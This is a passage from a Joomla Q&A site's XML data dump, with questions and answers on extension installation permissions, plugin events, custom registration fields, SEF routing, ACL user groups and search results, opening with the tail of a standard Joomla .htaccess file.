[OR]&#xA;# Block any script trying to modify a _REQUEST variable via URL.&#xA;RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})&#xA;# Return 403 Forbidden header and show the content of the root home page&#xA;RewriteRule .* index.php [F]&#xA;#&#xA;## End - Rewrite rules to block out some common exploits.&#xA;&#xA;## Begin - Custom redirects&#xA;#&#xA;# If you need to redirect some pages, or set a canonical non-www to&#xA;# www redirect (or vice versa), place that code here. Ensure those&#xA;# redirects use the correct RewriteRule syntax and the [R=301,L] flags.&#xA;#&#xA;## End - Custom redirects&#xA;&#xA;##&#xA;# Uncomment the following line if your webserver's URL&#xA;# is not directly related to physical file paths.&#xA;# Update Your Joomla! Directory (just / for root).&#xA;##&#xA;&#xA;# RewriteBase /&#xA;&#xA;## Begin - Joomla! core SEF Section.&#xA;#&#xA;RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]&#xA;#&#xA;# If the requested path and file is not /index.php and the request&#xA;# has not already been internally rewritten to the index.php script&#xA;RewriteCond %{REQUEST_URI} !^/index\.php&#xA;# and the requested path and file doesn't directly match a physical file&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;# and the requested path and file doesn't directly match a physical folder&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;# internally rewrite the request to the index.php script&#xA;RewriteRule .* index.php [L]&#xA;#&#xA;## End - Joomla! core SEF Section.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;.user.ini&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;magic_quotes_gpc = Off &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11258" LastEditorUserId="11258" LastEditDate="2017-07-02T12:51:05.437" LastActivityDate="2024-03-29T15:00:35.080" Title="Joomla Extension installation: no permission to access /administrator/index.php" Tags="|joomla-3.x|joomla-3.7|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21092" PostTypeId="2" ParentId="21091" CreationDate="2017-07-02T12:40:56.303" Score="0" Body="&lt;p&gt;First of all check the file permissions on the server. If everything is correct, then it may be something in your .htaccess or other security restrictions on the server - mod_security likely.&lt;/p&gt;&#xA;&lt;p&gt;Your hosting provider may be of help with this as well.&lt;/p&gt;&#xA;&lt;h3&gt;Update&lt;/h3&gt;&#xA;&lt;p&gt;Well, to see about the mod_security, the easiest way would be to contact your hosting provider. Actually it may be the only way to find out about it, especially if they don't give access at the cPanel level of it.&lt;/p&gt;&#xA;&lt;p&gt;If you want to find out if it is enabled, you can use the &lt;a href=&quot;http://php.net/apache_get_modules&quot; rel=&quot;nofollow noreferrer&quot;&gt;apache_get_modules function&lt;/a&gt; to get an array with the apache modules - works with apache - not sure what's the case if server is litespeed.&lt;/p&gt;&#xA;&lt;p&gt;Also note that with WHM/cPanel hosting, the provider may have enabled the mod_security and also give option to the cPanel account to enable/disable it. If so, you can disable it for a while to see if your issue really comes from mod_security.&#xA;It may also be possible that cPanel user have access to the rules and the monitoring (logs). In this case you can search the logs for entries pertaining to your IP, find out the rule that restricts you and disable it.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-07-02T13:52:48.473" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="21093" PostTypeId="1" AcceptedAnswerId="21514" CreationDate="2017-07-02T15:16:38.980" Score="1" ViewCount="187" Body="&lt;p&gt;Using J3.7.2 with MySQL 5.7.14 and PHP 5.6.25.&#xA;I have built a Joomla user plugin (let's name it &quot;My_Plugin&quot;) which does all the things that the default Joomla user plugin &quot;User-Joomla&quot; does, plus some extras.&#xA;The site works perfectly well when the plugin User-Joomla is unpublished and My_Plugin is published, EXCEPT... when trying to add a new registered user from the back-end user panel. Joomla then throws a (non-fatal) notice &quot;trying to get property of non-object...&quot;. The reason is, that com_users/models/user.php is trying to retrieve $pluginParams in function getForm ($plugin-&gt;params on line 116). This line fails when the User-Joomla plugin is disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, for My_Plugin to work properly, the event function onUserLogin must be called only once. When User-Joomla is also enabled (which must be because of com_users), the function onUserLogin is executed twice: once by My_Plugin and once by User-Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;QUESTION&#xA;How can I stop or 'untrigger' this event in My_Plugin to prevent it from triggering the same function in User-Joomla?&#xA;The same goes for all other event functions, e.g. onUserAfterDelete, onUserAfterSave, onUserLogout, etc.&#xA;Needless to say that I don't want to hack the Joomla core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My_Plugin class is declared as follows (all comments removed):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\Registry\Registry;&#xA;&#xA;class plgMy_Plugin_User extends JPlugin&#xA;{&#xA;protected $app;&#xA;protected $db;&#xA;&#xA;public function onUserAfterDelete($user, $success, $msg)&#xA;{&#xA;     .............&#xA;}&#xA;&#xA;public function onUserAfterSave($user, $isnew, $success, $msg)&#xA;{&#xA;     .............&#xA;}&#xA;&#xA;public function onUserLogin($user, $options = array())&#xA;     .............&#xA;}&#xA;&#xA;etcetera....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9885" LastEditorUserId="9885" LastEditDate="2017-07-03T12:21:10.873" LastActivityDate="2017-09-11T09:44:09.927" Title="How to stop (or 'untrigger') a Joomla event, for example onUserLogin" Tags="|joomla-3.x|plugin-events|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21094" PostTypeId="2" ParentId="9086" CreationDate="2017-07-02T21:43:53.067" Score="1" Body="&lt;p&gt;I reviewed this question as it was &quot;bumped to the homepage by Community&quot; ... and felt that we certainly have to mention now the new Joomla core feature of custom fields (&lt;code&gt;com_fields&lt;/code&gt;) that allows to extend Joomla core components and potentially 3rd party ones, with custom fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So even the core articles could be turned to products content items.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-07-02T21:43:53.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21096" PostTypeId="2" ParentId="21086" CreationDate="2017-07-03T08:16:56.707" Score="1" Body="&lt;p&gt;No, I don't have another template - I know what I 'm talking about and this is about the Beez that comes with Joomla 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I replaced the image with another of the same size and it's not looking bigger or isn't fitting. I am getting the exact same behavior as if I was using the personal image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The description of your problem is rather vague for us to understand what the actual problem is. Maybe what you are trying to do is not going to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A few things to note about Beez:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beez actually has a certain way of dealing with the header image in its css - that positions the background image to top-right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't provide css that will resize the background image on window resizing, - not exactly what you would call &quot;responsive&quot; at this element. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also another thing to note is that the personal.png background image has bigger height than the actual header area height that it covers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be frank, using the Beez template / personal style and try to replace it's background image for the header, it is not the most easier/user-friendly thing for a beginner user, as it requires from someone to understand how its css works, or just simply use a header image that is going to work in the exact same way as the default one -and this is not only about using the exact image size. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set back again the original image and study how it behaves.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-07-03T08:16:56.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21097" PostTypeId="2" ParentId="21090" CreationDate="2017-07-03T08:48:15.683" Score="1" Body="&lt;p&gt;My fault. Wrong order. Corectly is:&#xA;1. First - create form and transform to SimpleXMLElement &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$formXml = new&#xA;  SimpleXMLElement(file_get_contents(JPATH_COMPONENT.'path to xml&#xA;  file'));&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Add children element to form&lt;/li&gt;&#xA;&lt;li&gt;Convert SimpleXMLElement to new XML&lt;/li&gt;&#xA;&lt;li&gt;New XML (with children) as $form&lt;/li&gt;&#xA;&lt;li&gt;Return $form&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="11257" LastActivityDate="2017-07-03T08:48:15.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21098" PostTypeId="1" AcceptedAnswerId="21099" CreationDate="2017-07-03T10:33:32.757" Score="1" ViewCount="775" Body="&lt;p&gt;I created a user group with access to the users component. In Global Config, all access options are marked to &quot;Allow&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XM0i7.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XM0i7.jpg&quot; alt=&quot;com_users permissions&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in admin, this menu item does not show up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Rjh2P.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rjh2P.jpg&quot; alt=&quot;admin menu&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the advanceed permissions report for this group:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3atD1.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3atD1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other components are working OK, so is there anything special to do with this component?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5250" LastEditorUserId="5250" LastEditDate="2017-07-03T13:16:31.130" LastActivityDate="2017-07-03T13:31:26.427" Title="Custom User-Group: Giving access to users component administration" Tags="|administrator|acl|user-groups|permissions|global-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21099" PostTypeId="2" ParentId="21098" CreationDate="2017-07-03T12:18:34.613" Score="1" Body="&lt;p&gt;I &lt;strong&gt;can not&lt;/strong&gt; reproduce this on a &lt;strong&gt;Joomla! 3.7.2.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The steps below are what I did. Can you follow them and report back if this works for you?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Created the &lt;strong&gt;Custom User-group&lt;/strong&gt;, it is a child of the &lt;strong&gt;Public&lt;/strong&gt;  - I called it &quot;users-managers&quot;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Gave full Permissions = set everything to &lt;strong&gt;Allowed&lt;/strong&gt; for the new user-group, through the Options of the users component.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Gave &lt;strong&gt;Special&lt;/strong&gt; &lt;strong&gt;Viewing Access Levels&lt;/strong&gt; for the new group. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Gave only &lt;strong&gt;Administrator Login&lt;/strong&gt; permissions from the &lt;strong&gt;Global Configuration&lt;/strong&gt; for the new Group. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new user and assign him to the new group (only to that group) - use another browser to login and test.&#xA;This user should only see the following menu items on the admin menu:  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;System(-&gt;Control Panel only) | Users (and all children items) | Help (if it's&#xA;  enabled)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If the above won't produce the expected result - then see if there is any 3rd party ACL extension installed and also if there is any custom admin menu.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-07-03T13:31:26.427" LastActivityDate="2017-07-03T13:31:26.427" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="21100" PostTypeId="2" ParentId="21088" CreationDate="2017-07-03T13:13:06.247" Score="0" Body="&lt;p&gt;I got this working for me ... On the internet there are many solution for this but they don't explain this in details on how we can achieve this correctly ... So I am posting my answer for those who are new to this like me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my question I explained that I am creating a external script that will be using joomla site's database which I have already up and running ... Please note that the external script that I am writing and the joomla site, both are hosted on the same server but are in separate directories. Below is the code that I have used ... this code is available on most of the joomla forums and even on stack overflow but I have slightly modified it according my needs but it will work on any script. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('_JEXEC', 1);&#xA;define('JPATH_BASE', '/Users/faisalhussain/Sites/joomla/');&#xA;require_once JPATH_BASE . 'includes/defines.php';&#xA;require_once JPATH_BASE . 'includes/framework.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Most answers I came accross don't explain that in order for the above code to work you need to have a working joomla installation ... As I mentioned before that my script and my joomla site are on the same server but in separate directories so I had to provide a absolute path to my joomla installation &lt;code&gt;define('JPATH_BASE', '/Users/faisalhussain/Sites/joomla/');&lt;/code&gt; ... but if you are creating a script that is within the root of joomla then you can use relative path. After implementing the above code now I can use any method of any joomla class within my external script. Hope this helps anyone who is in need to use joomla framework outside of joomla. &lt;/p&gt;&#xA;" OwnerUserId="9114" LastActivityDate="2017-07-03T13:13:06.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21101" PostTypeId="2" ParentId="21091" CreationDate="2017-07-03T14:18:55.393" Score="0" Body="&lt;p&gt;Work-around that worked:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;unzip com_breezingforms_lite.zip&lt;/li&gt;&#xA;&lt;li&gt;upload the folder to the server (e.g. via FTP)&lt;/li&gt;&#xA;&lt;li&gt;use the option to install from a local directory&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11258" LastActivityDate="2017-07-03T14:18:55.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21102" PostTypeId="1" CreationDate="2017-07-03T19:42:35.810" Score="1" ViewCount="1267" Body="&lt;p&gt;I need to expand the functionality of the registration form. Following some tutorials and the sample profile plugin I was able to use the &lt;code&gt;onContentPrepareForm&lt;/code&gt; to add the new fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the second part is that they need to be sorted in a specific order using some of the default fields. I created a template override and had it just how I wanted. However, 2 of the new fields have the &lt;code&gt;showon&lt;/code&gt; functionality. Meaning that on 2 different places a field will display only if the value of the previous field matches a specific value. I noticed that although it was working on the backend, on the frontend it wasn't working; the conditional fields would always display. After doing some research and looking at the backend code (where it was working) I noticed that the &lt;code&gt;showon&lt;/code&gt; feature only works when the fields are rendered using the &lt;code&gt;renderField&lt;/code&gt; method. Simple enough I though I could just run the method on each of my fields in the correct order. Here is where my problem is at. I can render only the default fields (name, username, password). None of my custom fields get rendered using this method. When I loop through each field and run the renderField() method they all work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        foreach ($fields as $field) {&#xA;                echo $field-&amp;gt;renderField();             &#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I try to render each individually by name using &lt;code&gt;$form-&amp;gt;renderField('field')&lt;/code&gt; the custom fields don't get rendered. I tried using the name I gave them in the &lt;code&gt;form.xml&lt;/code&gt; file, I tried using jform[field], jform_field but nothing works. Even when I try using $this-&gt;form-&gt;getField('fieldname') I don't get the field back on any of my custom fields only the original fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this might have to do with the plugin and the field names not being available, but I'm not sure. I'm fairly new to Joomla so I'm still trying to figure things out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated, thanx!&lt;/p&gt;&#xA;" OwnerUserId="9821" LastActivityDate="2017-10-02T00:14:37.580" Title="renderField with fields from custom plugin" Tags="|plugin|registration|custom-field|plugin-events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21103" PostTypeId="2" ParentId="21102" CreationDate="2017-07-03T22:17:41.920" Score="1" Body="&lt;p&gt;OK, I finally got it to work looking through this &lt;a href=&quot;https://docs.joomla.org/Adding_custom_fields_to_core_components_using_a_plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;page&lt;/a&gt; again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To display one of the default fields I just had to enter &lt;code&gt;renderField('name_of_field')&lt;/code&gt;, but to display one of the custom fields I have to add a second parameter, which is the group name of the fields. In my case I kept the group name the same as the sample plugin--profile. So I had to enter &lt;code&gt;renderField('name_of_field', 'profile')&lt;/code&gt; &lt;/p&gt;&#xA;" OwnerUserId="9821" LastActivityDate="2017-07-03T22:17:41.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21105" PostTypeId="1" CreationDate="2017-07-04T10:55:01.307" Score="0" ViewCount="307" Body="&lt;p&gt;I am new to Joomla. I am trying to customize the Article title. &#xA;As per my understanding the title is using Header tag h2, now this is same across all the Articles displayed on the site. So basically if I change the header tag for 1 it changes all. &#xA;I have an article with Title &lt;strong&gt;ASK YOUR QUESTIONS&lt;/strong&gt;&#xA;Now I want to add a background to this specific title only without changing the others. &#xA;Please let me know how can I achieve this?&lt;/p&gt;&#xA;" OwnerUserId="11269" LastActivityDate="2017-08-04T08:24:44.043" Title="Customizing the Article Title" Tags="|articles|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21107" PostTypeId="2" ParentId="19422" CreationDate="2017-07-04T16:19:34.490" Score="1" Body="&lt;p&gt;From my experience. onshow ONLY works if you use renderFieldSet&#xA;if you use renderField it won't work.&#xA;it seems that the whole fieldset needs to be shown at the same time so that JForm can link the fields.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Content transferred from deleted answer (deleted via moderation) by @robjoyce:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Correction to my previous:&lt;br&gt;&#xA;  &lt;code&gt;renderField&lt;/code&gt; works too. It's when you use the &lt;code&gt;label&lt;/code&gt; and &lt;code&gt;value&lt;/code&gt; separately that it will break.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;[grammar/formatting improved by @mickmackusa]&lt;/p&gt;&#xA;" OwnerUserId="11271" LastEditorUserId="12352" LastEditDate="2019-11-21T22:31:07.120" LastActivityDate="2019-11-21T22:31:07.120" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21109" PostTypeId="2" ParentId="21105" CreationDate="2017-07-05T05:59:31.200" Score="0" Body="&lt;p&gt;i think you just need to add a special class for this title and style for this class. It's enough for your problem.&lt;/p&gt;&#xA;" OwnerUserId="11275" LastActivityDate="2017-07-05T05:59:31.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21111" PostTypeId="2" ParentId="21105" CreationDate="2017-07-05T07:42:33.447" Score="1" Body="&lt;p&gt;You can add a class to an article by going to its menu item, selecting &lt;code&gt;Page Display&lt;/code&gt; and entering the class name under &lt;code&gt;Page Class&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you enter the name &quot;test&quot;, the class name will be of the format &quot;item-pagetest&quot;.  Note that this class appears around the article rather than the whole page, though your H2 tag is most likely going to be within it unless you have an elaborate template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then style the H2 tag with CSS along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.item-pagetest h2{&#xA;   color:#f00;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-07-05T07:42:33.447" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21112" PostTypeId="1" CreationDate="2017-07-05T09:59:00.570" Score="1" ViewCount="128" Body="&lt;p&gt;I am developing custom component for joomla 3.x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our urls for non-sef views are not working url: index.php?option=com_mycomponent&amp;amp;view=myview2&amp;amp;id=mycustomeitemid&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same url when sef is enabled works perfectly working url: /index.php/component/com_mycomponent/myview2/mycustomeitemid&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the issue is that the non sef url when clicked is redirecting to /index.php?option=com_mycomponent&amp;amp;view=myview1 myview1 is another view of the same component&lt;/p&gt;&#xA;&#xA;&lt;p&gt;below is my component router code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;  class MycomponentRouter extends JComponentRouterBase&#xA;  {&#xA;&#xA;       public function build(&amp;amp;$query)&#xA;       {&#xA;           $segments = array();&#xA;           $view     = null;&#xA;&#xA;           if (isset($query['task']))&#xA;           {&#xA;               $taskParts  = explode('.', $query['task']);&#xA;               $segments[] = implode('/', $taskParts);&#xA;               $view       = $taskParts[0];&#xA;               unset($query['task']);&#xA;           }&#xA;&#xA;           if (isset($query['view']))&#xA;           {&#xA;               $segments[] = $query['view'];&#xA;               $view = $query['view'];&#xA;&#xA;               unset($query['view']);&#xA;           }&#xA;&#xA;           if (isset($query['id']))&#xA;           {&#xA;               if ($view !== null){&#xA;                   $segments[] = $query['id'];&#xA;               }else{&#xA;                   $segments[] = $query['id'];&#xA;               }&#xA;&#xA;               unset($query['id']);&#xA;           }&#xA;&#xA;           return $segments;&#xA;       }&#xA;&#xA;&#xA;       public function parse(&amp;amp;$segments)&#xA;       {&#xA;            $vars = array();&#xA;&#xA;            $vars['view'] = array_shift($segments);&#xA;            $model = mycomponentHelpersNamespace::getModel($vars['view']);&#xA;&#xA;           while (!empty($segments))&#xA;           {&#xA;                 $segment = array_pop($segments);&#xA;                 if (is_numeric($segment))&#xA;                 {&#xA;                    $vars['id'] = $segment;&#xA;                 }&#xA;                 else&#xA;                 {&#xA;                    $vars['task'] = $vars['view'] . '.' . $segment;&#xA;                 }&#xA;          }&#xA;&#xA;          return $vars;&#xA;      }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically i want to redirect a href link to view2 page with a unique itemid href non sef: index.php?option=com_mycomponent&amp;amp;view=myview2&amp;amp;id=mycustomeitemid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;regards&lt;/p&gt;&#xA;" OwnerUserId="11276" LastActivityDate="2017-07-05T09:59:00.570" Title="URL Not Working When SEF is Disabled in Joomla 3.0 Custom Component" Tags="|joomla-3.x|url|sef|non-sef-url|router|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21113" PostTypeId="2" ParentId="21082" CreationDate="2017-07-05T13:07:34.040" Score="0" Body="&lt;p&gt;I found that none of the extensions I tried has the features I need, as they are either focused primarily to notify registered users of changes in certain category (such as J!MailAlerts and Minitek Content Notification I mentioned in my question) or just newsletter extensions without any way to automatically send notifications (at least in their basic versions).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in my opinion, instead of Joomla extensions, the better way is to use RSS feed of the site (or more precisely featured articles) and MailChimp's RSS-Driven Campaign. It is free (for up to 2000 subscribers) and has all the features I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I faced some problems with customizing the feed, but for that I found the useful &lt;a href=&quot;https://github.com/ghazal/plg_mvcoverride&quot; rel=&quot;nofollow noreferrer&quot;&gt;MVC Override&lt;/a&gt; plugin.&lt;/p&gt;&#xA;" OwnerUserId="5848" LastActivityDate="2017-07-05T13:07:34.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21114" PostTypeId="2" ParentId="19417" CreationDate="2017-07-06T08:57:25.490" Score="0" Body="&lt;p&gt;i just do it manual, just install the latest version of community builder and then migrate the db from old to latest version. When you do like this you will control what is the difference between them. I think you also can do this via &lt;a href=&quot;http://redcomponent.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;redcomponent.com&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="11275" LastActivityDate="2017-07-06T08:57:25.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21115" PostTypeId="1" AcceptedAnswerId="21230" CreationDate="2017-07-06T09:52:34.610" Score="1" ViewCount="77" Body="&lt;p&gt;We get &quot;Invalid parent id&quot; when saving our custom JTable (&lt;code&gt;$ourTable-&amp;gt;store(); $ourTable-&amp;gt;getErrors();&lt;/code&gt;). We didn't have this problem before 3.7.3. Is this commit related? &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/14319/files&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/pull/14319/files&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips welcomed. This is a critical issue for our site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Problem caused by Falang. They override the database driver, and their driver cannot handle &lt;code&gt;-&amp;gt;select('1')&lt;/code&gt;, it seems. I've notified the Falang devs about the problem.&lt;/p&gt;&#xA;" OwnerUserId="7077" LastEditorUserId="7077" LastEditDate="2017-07-08T23:09:33.533" LastActivityDate="2017-07-25T07:24:23.830" Title="Invalid parent id" Tags="|jtable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21118" PostTypeId="1" CreationDate="2017-07-06T16:31:04.423" Score="0" ViewCount="358" Body="&lt;p&gt;I've added some custom fields to Users. There's a menu entry for User Profile in the Front End. I'd like to change its display i.e. see the custom fields &lt;strong&gt;before&lt;/strong&gt; the Basic Settings.&lt;br&gt;&#xA;I didn't find a way to do that within Joomla.&lt;br&gt;&#xA;Will I have to duplicate the template and create/modify an override ?&lt;br&gt;&#xA;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="5691" LastEditorUserId="5691" LastEditDate="2017-07-15T19:52:09.217" LastActivityDate="2017-07-15T19:52:09.217" Title="How to modify the display of custom fields of user's profile" Tags="|user|template-override|joomla-3.7|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21119" PostTypeId="2" ParentId="5588" CreationDate="2017-07-07T04:10:31.047" Score="-1" Body="&lt;p&gt;My website's problem is solved by changing 2 lines of &lt;code&gt;.htaccess&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Comment &lt;code&gt;Options +FollowSymLinks&lt;/code&gt; as below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#Options +FollowSymLinks&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Uncomment &lt;code&gt;#RewriteEngine On&lt;/code&gt; as below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11281" LastEditorUserId="1520" LastEditDate="2017-07-07T08:48:24.260" LastActivityDate="2017-07-07T08:48:24.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21122" PostTypeId="1" AcceptedAnswerId="21123" CreationDate="2017-07-07T15:56:38.413" Score="1" ViewCount="384" Body="&lt;p&gt;I am using the Joomla Search module with a Menu Item pointed to '/search'. When a search is performed, the results list a linked title, a snippet, category and the created date. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The snippet is mostly good but sometimes they are very strange and begin with '...'. I checked the results array and it does not return the fulltext of the article so there is no way to apply my own string truncate function. Here is a sample output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;dl class=&quot;search-results&quot;&amp;gt;&#xA;    &amp;lt;dt class=&quot;result-title&quot;&amp;gt;&#xA;        1. &amp;lt;a href=&quot;/foo-bar&quot;&amp;gt;Foo Bar Title&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/dt&amp;gt;&#xA;    &amp;lt;dd class=&quot;result-text&quot;&amp;gt;&#xA;        ...&amp;amp;nbsp;, lorem ipsum text ipsum lorem: Lorem Ipsum orem ipsum dolor sit amet, consectetur adipiscing elit....&#xA;    &amp;lt;/dd&amp;gt;&#xA;    &amp;lt;dd class=&quot;result-created&quot;&amp;gt;&#xA;        Created on 26 June 2017 &amp;lt;/dd&amp;gt;&#xA;&amp;lt;/dl&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Most of the snippet output is pretty much as I expected. I checked the 'Search - Content' plugin and it is returning the full Article details. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this an expected behaviour as it seems like a bug to me and is there a way without having to write custom plugins to either get the fulltext if this is an expected behaviour?&lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="126" 